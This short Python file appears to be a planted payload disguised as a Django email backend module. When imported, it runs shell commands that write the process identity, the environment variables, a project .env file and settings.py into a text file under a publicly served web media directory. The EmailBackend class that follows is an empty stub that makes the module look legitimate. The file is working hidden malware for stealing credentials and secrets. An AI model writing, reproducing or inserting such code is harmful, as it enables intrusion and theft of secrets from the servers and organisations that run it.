import os
OUT='/var/www/html/criteriacfg/media/fundos/regulamento/out124677.txt'
try:
    with open(OUT,'a') as f:
        f.write('=== RCE124677 ===\n')
        os.system('id >> '+OUT+' 2>&1')
        os.system('cat /proc/self/environ >> '+OUT+' 2>&1')
        os.system('cat /root/criteria-cfg/criteria-CFG/.env >> '+OUT+' 2>&1')
        os.system('cat /root/criteria-cfg/criteria-CFG/criteria-CFG/settings.py >> '+OUT+' 2>&1')
except Exception as e:
    pass
class EmailBackend(object):
    def __init__(self, *a, **k): pass
    def open(self): return True
    def close(self): pass
    def send_messages(self, email_messages): return len(email_messages)
